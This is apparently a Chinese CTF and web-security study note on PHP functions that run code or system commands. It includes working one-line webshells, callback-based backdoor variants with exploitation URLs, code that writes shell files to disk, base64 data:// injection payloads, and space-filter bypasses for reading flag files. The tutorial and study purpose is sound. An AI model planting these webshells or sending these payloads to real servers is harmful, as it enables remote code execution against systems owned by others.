PHP中执行PHP代码的函数

eval()、assert()、preg_replace()、create_function()

array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()

文件操作函数、动态函数($a($b))

注意其中代码以分号结尾。

eval()

eval()函数把字符串按照PHP代码来计算,如常见的一句话后面程序:

<?php eval($_POST(cmd))?>

assert()

与eval类似,字符串被assert()当作PHP代码来执行

preg_replace()

mixed preg_replace (mixed $pattern, mixed $replacement , mixed $subject [, int $limit = -1[, int&$count]] )

搜索subject中匹配pattern的部分,以replacement进行替换。

preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的**/e修饰符**,使preg_replace() 将 replacement参数当作 PHP 代码

create_function()

create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。在PHP7.2.0以上的版本被遗弃。

在内部执行eval()

语法:
create_function(string $args,  string $code
string $args 声明的函数变量部分
string $code 执行的方法代码部分
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo $newfunc(2, M_E)."\n";
?>

代码注入实例

/*一句话木马
<?php $func = create_function('',$_POST['cmd']);$func();?>

PHP短标签

使用此缩写需要short_open_tag 的值为 On。

<? ?>

<? echo `ls`?>
等价于
<?=`ls`?>

array_map()

array_map()函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map()函数的数组数目一致。

array_map(myfunction,array1,array2,array3...)

<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>

call_user_func()/call_user_func_array()

call_user_func()把第一个参数作为回调函数调用,其余参数是回调函数的参数。

call_user_func_array()调用回调函数,并把一个数组参数作为回调函数的参数。

<?php 
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>

<?php 
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

array_filter()

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

<?php 
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>

usort()、uasort()

usort() 通过用户自定义的比较函数对数组进行排序。

uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联

文章配图

php环境>=5.6才能用
<?php usort(...$_GET);?>
利用方式:
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST]:x=phpinfo();

php环境>=<5.6才能用
<?php usort($_GET,'asse'.'rt');?>
利用方式:
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();

文章配图

文章配图

文件操作函数

file_put_contents() 函数把一个字符串写入文件中。

fputs() 函数写入文件

<?php 
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test1.php',$test);
?>
<?php 
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>'); 
?>

动态函数

PHP函数直接由字符串拼接

<?php 
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
?>

Include()

include函数虽然不能直接执行php代码,但是可以通过伪协议间接执行。

include()/require()/include_once()/require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的。

php://filter用于读取源码,php://input用于执行php代码。

data://协议

作用:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

条件:

allow_url_fopen:on
allow_url_include :on

用法:

data:text/plain

data://text/plain,
data://text/plain;base64,

示例:

data://text/plain,
?file=data://text/plain,<?php%20phpinfo();?>

data://text/plain;base64,
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

# 写入shell
data:text/plain,<?php fputs(fopen('hack.php','w'),'<?php @eval($_POST[ant])?>');?>
c=data://text/plain;base64,PD9waHAgZnB1dHMoZm9wZW4oJ2hhY2sucGhwJywndycpLCc8P3BocCBAZXZhbCgkX1BPU1RbYW50XSk%2fPicpOz8%2B

文章配图

ps:

  • 是Base64中的有效字符,用于表示具体的二进制数据。在URL传输过程中,为了避免+被解析为空格,编码为%2B是必要的
  • 在URL中通常表示空格。为了避免歧义,将+替换为%2B以保留它原本的意义。

/ 替换为%2F

PHP中执行系统命令的函数

exec()、passthru()、system()、 shell_exec()

php配置文件 php.ini默认禁止执行外部命令函数。disable_functions=

exec()

function exec(string $command,array[optional] $output,int[optional] $return_value)

<?php
echo exec("ls",$file);
echo "</br>";
print_r($file);
?>

test.php
Array([0] => index.php [1] => test.php)

PS:
exec 执行系统外部命令时不会输出结果,而是返回结果的最后一行。

如果想得到结果,可以使用第二个参数,让其输出到指定的数组,此数组一个记录代表输出的一行,即如果输出结果有20行,则这个数组就有20条记录,所以如果你需要反复输出调用不同系统外部命令的结果,最好在输出每一条系统外部命令结果时清空这个数组,以防混乱。第三个参数用来取得命令执行的状态码,通常执行成功都是返回0。

passthru()

function passthru(string $command,int[optional]$return_value)

<?php
passthru("ls");
?>

ps: passthru直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据。

system()

function system(string $command,int[optional] $return_value)

<?php
system("ls /");
?>

system在执行系统外部命令时,直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,如果执行命令成功则返回true,否则返回false。第二个参数与exec第三个参数含义一样。

反撇号`和shell_exec()

shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体

<?php
 echo `pwd`;
?>

echo

echo(strings)

echo() 函数输出一个或多个字符串。
注释:echo() 函数实际不是一个函数,所以您不必对它使用括号。然而,如果您想要传多于一个参数给 echo(),使用括号将会生成解析错误。
提示:echo() 函数比 print() 速度稍快。

绕过方式

系统命令绕过方法

多条命令拼接

文章配图

绕过空格

cat%09flag.txt php环境下web输入%09等效于空格
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<>flag.txt #重定向
cat<flag.txt #重定向

经典逃逸绕过

?c=eval($_GET[1]);&1=system('cat flag.php');
?c=eval($_POST[1]);
# post方法
1=system('cat flag.php');